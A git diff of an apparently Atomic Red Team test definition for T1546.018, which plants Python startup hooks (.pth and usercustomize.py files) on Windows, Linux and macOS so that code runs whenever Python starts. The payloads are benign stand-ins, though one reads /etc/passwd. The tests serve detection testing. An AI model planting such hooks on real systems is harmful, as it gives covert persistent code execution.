diff --git a/atomics/T1546.018/T1546.018.yaml b/atomics/T1546.018/T1546.018.yaml index 2ea41f95..be864e6d 100755 --- a/atomics/T1546.018/T1546.018.yaml +++ b/atomics/T1546.018/T1546.018.yaml @@ -1,80 +1,124 @@ attack_technique: T1546.018 -display_name: "Event Triggered Execution: Python Startup Hooks" +display_name: 'Event Triggered Execution: Python Startup Hooks' atomic_tests: - - name: "Python Startup Hook Execution via .pth (Windows)" - auto_generated_guid: b4773c6b-3aa0-44a2-830a-b6ff594a0fb2 + - name: Python Startup Hook - atomic_hook.pth (Windows) description: | - Creates a Python startup hook using a .pth file inside a virtual environment on Windows. + Executes code by placing a .pth file in the site-packages directory. + Supports python.exe and python3.exe via input arguments. supported_platforms: - windows input_arguments: - exe_name: - description: Executable to launch - type: string - default: calc.exe - python_path: - description: Path to Python interpreter - type: path + python_exe: + description: The python binary name to test. + type: String default: python.exe dependency_executor_name: powershell dependencies: - - description: Ensure Python is installed + - description: | + Python must be installed and the specified binary (#{python_exe}) must be in the PATH. prereq_command: | - if (Get-Command #{python_path} -ErrorAction SilentlyContinue) { exit 0 } else { exit 1 } + if (Get-Command @("#{python_exe}", 'python3.exe') -ErrorAction SilentlyContinue) { exit 0 } else { exit 1 } get_prereq_command: | - Write-Host "Python not found. Please install it from https://www.python.org/downloads/windows/ or via 'winget install Python.Python.3'" + Write-Host "[!] Python3 not found. Please install Python3 (e.g., winget install python3 or winget install python or https://www.python.org/downloads/windows/) or ensure it is in your PATH." executor: name: powershell elevation_required: false command: | - $TempDir = Join-Path $env:TEMP ("atomic_python_hook_" + [guid]::NewGuid()) - New-Item -ItemType Directory -Path $TempDir | Out-Null - Set-Location $TempDir - Set-Content -Path "$env:TEMP\atomic_python_hook_path.txt" -Value $TempDir - & "#{python_path}" -m venv env + $TempDir = Join-Path $env:TEMP "atomic_pth_win" + New-Item -ItemType Directory -Path $TempDir -Force + & "#{python_exe}" -m venv "$TempDir\env" $SitePackages = & "$TempDir\env\Scripts\python.exe" -c "import site; print(site.getsitepackages()[1])" - "import os, subprocess; os.environ.get('CALC_SPAWNED') or (os.environ.update({'CALC_SPAWNED':'1'}) or subprocess.Popen(['#{exe_name}']))" | Out-File -Encoding ASCII "$SitePackages\atomic_hook.pth" - & "$TempDir\env\Scripts\python.exe" -c "print('Interpreter started')" + "import os, subprocess; os.environ.get('CALC_SPAWNED') or (os.environ.update({'CALC_SPAWNED':'1'}) or subprocess.Popen(['calc.exe']))" | Out-File -Encoding ASCII "$SitePackages\atomic_hook.pth" + Get-ChildItem -Path "$SitePackages" | Where-Object { $_.Name -like "*.pth" } + & "$TempDir\env\Scripts\python.exe" -c "print('Triggering Hook via atomic_hook...')" cleanup_command: | - Get-Process CalculatorApp -ErrorAction SilentlyContinue | Stop-Process -Force - if (Test-Path "$env:TEMP\atomic_python_hook_path.txt") { - $TempDir = Get-Content "$env:TEMP\atomic_python_hook_path.txt" - Remove-Item -Recurse -Force $TempDir -ErrorAction SilentlyContinue - Remove-Item "$env:TEMP\atomic_python_hook_path.txt" -Force } + if (-not (Get-ChildItem -Path $env:TEMP -ErrorAction SilentlyContinue | Where-Object Name -like 'atomic_pth_win')) { Write-Host "[!] Artifact missing: $env:Temp\atomic_pth_win Folder - [-] Please Run : Invoke-AtomicTest T1546.018"; exit 1 }; + Remove-Item -Path "$env:TEMP\atomic_pth_win" -Recurse -Force + Write-Host "[+] Successfully Removed atomic_pth_win folder and atomic_hook.pth from Temp Directory" + Get-Process -Name "Calc*" -ErrorAction SilentlyContinue | Stop-Process -Force + Get-Process -Name "calc*" -ErrorAction SilentlyContinue | Stop-Process -Force + Write-Host "[+] Successfully Terminated Calculator" - - name: "Python Startup Hook Execution via .pth (Linux)" - auto_generated_guid: 85f21c19-18ef-4450-98d8-05bb7b0e1887 + - name: Python Startup Hook - usercustomize.py (Windows) description: | - Creates a Python startup hook using a .pth file inside a virtual environment on Linux. + Executes code via usercustomize.py. This is a per-user persistence mechanism + that does not require Administrative privileges. + supported_platforms: + - windows + input_arguments: + python_exe: + description: The python binary name to test + type: String + default: python.exe + dependency_executor_name: powershell + dependencies: + - description: | + Python must be installed and the specified binary (#{python_exe}) must be in the PATH. + prereq_command: | + if (Get-Command @("#{python_exe}", 'python3.exe') -ErrorAction SilentlyContinue) { exit 0 } else { exit 1 } + get_prereq_command: | + Write-Host "[!] Python3 not found. Please install Python3 (e.g., winget install python3 or winget install python or https://www.python.org/downloads/windows/) or ensure it is in your PATH." + executor: + name: powershell + elevation_required: false + command: | + $UserDir = & "#{python_exe}" -c "import site; print(site.getusersitepackages())" + if (!(Test-Path $UserDir)) { New-Item -ItemType Directory -Path $UserDir -Force } + "import os; os.system('calc.exe')" | Out-File -FilePath "$UserDir\usercustomize.py" -Encoding ASCII + Get-ChildItem -Path "$UserDir" + & "#{python_exe}" -c "print('Triggering Hook via usercustomize...')" + cleanup_command: | + $PyBin = if (Get-Command "#{python_exe}" -ErrorAction SilentlyContinue) { "#{python_exe}" } elseif (Get-Command "python3.exe" -ErrorAction SilentlyContinue) { "python3.exe" } else { "python.exe" }; + $UserDir = & $PyBin -S -c "import site; print(site.getusersitepackages())" + if (-not (Get-ChildItem -Path $UserDir -Recurse -ErrorAction SilentlyContinue | Where-Object Name -like 'usercustomize*')) { Write-Host "[!] Artifact missing: $UserDir\usercustomize.py - [-] Please Run : Invoke-AtomicTest T1546.018"; exit 1 }; + Get-ChildItem -Path "$UserDir" -Recurse -Force | + Where-Object { $_.Name -like "usercustomize*" } | + Remove-Item -Force + Write-Host "[+] Successfully Removed usercustomize.py under $UserDir" + Get-Process -Name "Calc*", "calc*" -ErrorAction SilentlyContinue | Stop-Process -Force + Write-Host "[+] Successfully Terminated Calculator" + + - name: Python Startup Hook - atomic_hook.pth (Linux) + description: | + Executes code by creating atomic_hook.pth in the site-packages directory. + This script runs automatically for every user on the system when Python starts. supported_platforms: - linux input_arguments: - python_path: - description: Path to Python interpreter - type: path + python_exe: + description: The python binary name to test + type: String default: python3 - dependency_executor_name: bash + dependency_executor_name: sh dependencies: - - description: Ensure Python is installed - prereq_command: command -v #{python_path} >/dev/null 2>&1 + - description: | + Python must be installed and the specified binary (#{python_exe}) must be in the PATH. + prereq_command: | + PYTHON_CMD=$(command -v #{python_exe} || command -v python) + if [ -z "$PYTHON_CMD" ]; then exit 1; fi + $PYTHON_CMD -m venv --help >/dev/null 2>&1 get_prereq_command: | - echo "Python3 not found. Please install it using your package manager (e.g., 'sudo apt install python3' or 'sudo yum install python3')." + echo "Python not found. Please install Python using your package manager (e.g., Debian Based 'sudo apt-get update && sudo apt-get install -y python3 python3-venv', RedHat / CentOS Based 'sudo yum install -y python3 python3-venv || sudo dnf install -y python3 python3-venv')." executor: - name: bash + name: sh elevation_required: false command: | - PYTHON_EXE=$(command -v #{python_path}) - TEMPDIR=$(mktemp -d /tmp/atomic_python_hook_XXXXXX) - echo "$TEMPDIR" > /tmp/atomic_python_hook_path.txt - $PYTHON_EXE -m venv "$TEMPDIR/env" - SITE_PACKAGES=$("$TEMPDIR/env/bin/python" -c "import site; print(site.getsitepackages()[0])") - echo "import sys, os; (not hasattr(sys, 'hook_run')) and (setattr(sys, 'hook_run', True) or os.system('cat /etc/passwd'))" > "$SITE_PACKAGES/atomic_hook.pth" - "$TEMPDIR/env/bin/python" -c "print('Interpreter started')" + TEMPDIR="/tmp/atomic_sitecust_posix" + mkdir -p "$TEMPDIR" + "#{python_exe}" -m venv "$TEMPDIR/env" + SITE_PACKAGES=$("$TEMPDIR/env/bin/#{python_exe}" -c "import site; print(site.getsitepackages()[0])") + echo "import os; os.system('cat /etc/passwd 1> /tmp/atomic_hook_poc.txt')" > "$SITE_PACKAGES/atomic_hook.pth" + ls -la "$SITE_PACKAGES/atomic_hook.pth" + "$TEMPDIR/env/bin/python" -c "print('Triggering Hook via atomic_hook...')" + if [ -f /tmp/atomic_hook_poc.txt ]; then echo "[+] Success: atomic_hook_poc.txt created under /tmp \n" $(ls -la /tmp/ | grep -w atomic_hook_poc.txt); else echo "Failed: /tmp/atomic_hook_poc.txt not found"; fi cleanup_command: | - rm -rf $(cat /tmp/atomic_python_hook_path.txt) && rm -f /tmp/atomic_python_hook_path.txt + if [ ! -f /tmp/atomic_hook_poc.txt ] || [ ! -d /tmp/atomic_sitecust_posix ]; then echo "[!] Missing artifact or folder: /tmp/atomic_hook_poc.txt or /tmp/atomic_sitecust_posix — [-] Please Run : Invoke-AtomicTest T1546.018"; exit 0; fi + rm -rf /tmp/atomic_sitecust_posix + echo "[+] Successful Removed atomic_hook.pth" + rm -rf /tmp/atomic_hook_poc.txt + echo "[+] Successful Removed atomic_hook_poc.txt under /tmp" - - name: "Python Startup Hook Execution via .pth (macOS)" - auto_generated_guid: 858b4aed-d76f-443d-a801-5454ea56dee0 + - name: Python Startup Hook - atomic_hook.pth (macOS) description: | Creates a Python startup hook using a .pth file inside a virtual environment on macOS. supported_platforms: @@ -84,27 +128,73 @@ atomic_tests: description: App to launch type: string default: Calculator - python_path: - description: Path to Python interpreter - type: path + python_exe: + description: The python binary name to test + type: string default: python3 - dependency_executor_name: bash + dependency_executor_name: sh dependencies: - - description: Ensure Python is installed - prereq_command: command -v #{python_path} >/dev/null 2>&1 + - description: Python must be installed and the specified binary (#{python_exe}) must be in the PATH. + prereq_command: | + PYTHON_CMD=$(command -v python || command -v #{python_exe}) + if [ -z "$PYTHON_CMD" ]; then exit 1; fi + $PYTHON_CMD -m venv --help >/dev/null 2>&1 get_prereq_command: | - echo "Python3 not found. Please install it using Homebrew ('brew install python') or the macOS developer tools ('xcode-select --install')." + echo "Python3 not found. Please install it using Homebrew ('brew install python' or 'brew install python3 or brew install python@3.X') or the macOS developer tools ('xcode-select --install')." executor: - name: bash + name: sh elevation_required: false command: | - PYTHON_EXE=$(command -v #{python_path}) - TEMPDIR=$(mktemp -d /tmp/atomic_python_hook_XXXXXX) + PYTHON_EXE=$(command -v #{python_exe} || command -v python) + TEMPDIR=$(mktemp -d /tmp/atomic_python_hook_XX) echo "$TEMPDIR" > /tmp/atomic_python_hook_path.txt $PYTHON_EXE -m venv "$TEMPDIR/env" - SITE_PACKAGES=$("$TEMPDIR/env/bin/python" -c "import site; print(site.getsitepackages()[0])") + SITE_PACKAGES=$("$TEMPDIR/env/bin/#{python_exe}" -c "import site; print(site.getsitepackages()[0])") echo "import subprocess; subprocess.Popen(['open', '-a', '#{exe_name}'])" > "$SITE_PACKAGES/atomic_hook.pth" - "$TEMPDIR/env/bin/python" -c "print('Interpreter started')" + "$TEMPDIR/env/bin/python" -c "print('Triggering Hook via atomic_hook...')" cleanup_command: | + if [ ! -f /tmp/atomic_python_hook_path.txt ] || [ ! -d $(cat /tmp/atomic_python_hook_path.txt) ]; then echo "[!] Artifact missing: /tmp/atomic_python_hook_path.txt — [-] Please Run : Invoke-AtomicTest T1546.018"; exit 0; fi pkill "#{exe_name}" || true [ -f /tmp/atomic_python_hook_path.txt ] && rm -rf $(cat /tmp/atomic_python_hook_path.txt) && rm -f /tmp/atomic_python_hook_path.txt + echo "[+] Successful Removed atomic_hook.pth and terminated #{exe_name}" + + - name: Python Startup Hook - usercustomize.py (Linux / MacOS) + description: | + Executes code via usercustomize.py. This is a per-user persistence mechanism + that does not require root privileges. + supported_platforms: + - linux + - macos + input_arguments: + python_exe: + description: The python binary name to test + type: String + default: python3 + dependency_executor_name: sh + dependencies: + - description: | + Python must be installed and the specified binary (#{python_exe}) must be in the PATH. + prereq_command: | + PYTHON_CMD=$(command -v #{python_exe} || command -v python) + if [ -z "$PYTHON_CMD" ]; then exit 1; fi + $PYTHON_CMD -m venv --help >/dev/null 2>&1 + get_prereq_command: | + echo "Python not found. Please install Python using your package manager (e.g., Debian Based 'sudo apt-get update && sudo apt-get install -y python3 python3-venv', RedHat / CentOS Based 'sudo yum install -y python3 python3-venv || sudo dnf install -y python3 python3-venv', MacOS brew install python3 or brew install python@3.x or the macOS developer tools ('xcode-select --install'))." + executor: + name: sh + elevation_required: false + command: | + PYTHON_EXE=$(command -v #{python_exe} || command -v python) + USER_PACKAGES=$($PYTHON_EXE -c "import site; print(site.getusersitepackages())") + mkdir -p "$USER_PACKAGES" + echo "import os; os.system('date > /tmp/poc.txt')" > "$USER_PACKAGES/usercustomize.py" + if [ -f "$USER_PACKAGES/usercustomize.py" ]; then echo "Success: usercustomize.py created under $USER_PACKAGES\n" $(ls -la "$USER_PACKAGES" | grep usercustomize*); else echo "Failed: usercustomize.py not found under $USER_PACKAGES"; fi + $PYTHON_EXE -c "print('Triggering Hook via usercustomize.py...')" + if [ -f /tmp/poc.txt ]; then echo "Success: poc.txt created under /tmp\n" $(ls -la /tmp/ | grep -w poc.txt); else echo "Failed: /tmp/poc.txt not found"; fi + cleanup_command: | + PYTHON_CMD=$(command -v #{python_exe} || command -v python) + USER_PACKAGES=$($PYTHON_CMD -S -c "import site; print(site.getusersitepackages())") + if [ ! -f /tmp/poc.txt ] || [ ! -f $USER_PACKAGES/usercustomize.py ]; then echo "[!] Artifact missing: /tmp/poc.txt and $USER_PACKAGES/usercustomize.py — [-] Please Run : Invoke-AtomicTest T1546.018"; exit 0; fi + if [ -e "$USER_PACKAGES"/usercustomize* ]; then echo "[+] Successful remove $USER_PACKAGES/usercustomize.py\n" $(rm -rf "$USER_PACKAGES"/usercustomize*); else echo "usercustomize.py not found under $USER_PACKAGES"; fi + rm -rf /tmp/poc.txt + echo "[+] Successful remove poc.txt under /tmp"